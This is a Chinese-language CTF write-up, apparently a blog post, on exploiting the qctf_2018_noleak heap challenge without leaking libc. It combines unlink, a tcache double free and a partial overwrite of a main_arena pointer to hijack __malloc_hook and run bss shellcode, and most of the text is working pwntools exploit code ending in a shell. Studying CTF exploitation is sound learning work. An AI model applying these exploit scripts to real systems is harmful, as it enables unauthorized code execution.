在不知道libc的情况下getshell&&qctf_2018_noleak

这个题也真是开了眼了,完全就不知道libc,但最后也是打出来了

qctf_2018_noleak

qctf_2018_noleak

题目分析

delete

没有清空
在这里插入图片描述

edit

随便堆溢出
在这里插入图片描述

checkSec

在这里插入图片描述
这里的bss也就是保存ptr的地方是可以执行的
在这里插入图片描述

攻击思路

这个题目首先是无法修改fini,init,got表,所以我们不能直接劫持控制流
那只能通过malloc_hook
这个题目是无法泄露libc的,那么我们只能通过某些方式来修改__malloc_hook
首先可以考虑unlink,因为这里不是pie,所以ptr地址固定,那么很容易unlink,就可以实现我们随意控制指针写入

ptr = 0x601040
add(0x28, b"a")
add(0x418, b"a")
add(0x18, b"a") #防止重叠
edit(
    0,
    p64(0) + p64(0x21) + p64(ptr - 0x18) + p64(ptr - 0x10) + p64(0x20) + p64(0x420),
)
free(1)

在这里插入图片描述
通过edit0可以修改堆地址,达到任意地址写

考虑怎么把堆地址尽量靠近malloc_hook

最开始我考虑的是用double free,然后改成got表,最后就可以分配到got表里的值,然后就可以达到把函数地址写到bss里面,最后可以根据偏移来完成
但·后来发现这 libc函数地址和__malloc_hook不在一起
在这里插入图片描述
在这里插入图片描述
这明显需要爆破
那我们来看另一个main_arena的地址
在这里插入图片描述
我靠和malloc_hook只差0x10,那么我们考虑把main_arena地址写进去,这个刚好unsorted bin里面有地址

如何把main_arena地址写进去

由于我们unlink导致整体的结构出现了一些异常,我们要把中间重叠的size malloc出来
在这里插入图片描述

add(0x18)

在这里插入图片描述
因为free之后fd会被修改,所以我们要利用double free,把fd改成没有被free的包含main_arena addr的块

ptr = 0x601040
add(0x28, b"a")
add(0x418, b"a")
add(0x18, b"a")
edit(
    0,
    p64(0) + p64(0x21) + p64(ptr - 0x18) + p64(ptr - 0x10) + p64(0x20) + p64(0x420),
)
free(1)
add(0x18, b"a")#1
add(0x18, b"a")#2
free(3)
free(3)
edit(3, p8(0x90))#让我们1号块指向2号块,2号块里有地址

在这里插入图片描述
由于libc-2.27不会check count,直接再malloc3次

ptr = 0x601040
add(0x28, b"a")
add(0x418, b"a")
add(0x18, b"a")
edit(
    0,
    p64(0) + p64(0x21) + p64(ptr - 0x18) + p64(ptr - 0x10) + p64(0x20) + p64(0x420),
)
free(1)
add(0x18, b"a")
add(0x18, b"a")
free(3)
free(3)
edit(3, p8(0x90))
add(0x18, b"a")
add(0x18, b"a")
add(0x18, b"a")

在这里插入图片描述

修改为malloc_hook

malloc_hook最后两位为0x30
那么开始修改

ptr = 0x601040
add(0x28, b"a")
add(0x418, b"a")
add(0x18, b"a")
edit(
    0,
    p64(0) + p64(0x21) + p64(ptr - 0x18) + p64(ptr - 0x10) + p64(0x20) + p64(0x420),
)
free(1)
add(0x18, b"a")
add(0x18, b"a")
free(3)
free(3)
edit(3, p8(0x90))
add(0x18, b"a")
add(0x18, b"a")
add(0x18, b"a")
edit(0, p64(0) * 3 + p64(ptr) + p64(0) * 6 + p8(0x30))

在这里插入图片描述
在这里插入图片描述

修改malloc_hook为我们bss地址并填入shellcode

edit(7, p64(ptr))
edit(0, asm(shellcraft.sh()))

getshell

sa(b"choice :", b"1")
sa(b"Size: ", str(0x18).encode())
it()

allpayload

ptr = 0x601040
add(0x28, b"a")
add(0x418, b"a")
add(0x18, b"a")
edit(
    0,
    p64(0) + p64(0x21) + p64(ptr - 0x18) + p64(ptr - 0x10) + p64(0x20) + p64(0x420),
)
free(1)
add(0x18, b"a")
add(0x18, b"a")
free(3)
free(3)
edit(3, p8(0x90))
add(0x18, b"a")
add(0x18, b"a")
add(0x18, b"a")
edit(0, p64(0) * 3 + p64(ptr) + p64(0) * 6 + p8(0x30))
edit(7, p64(ptr))
edit(0, asm(shellcraft.sh()))
sa(b"choice :", b"1")
sa(b"Size: ", str(0x18).encode())
it()
debug()
it()
exit(0)

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值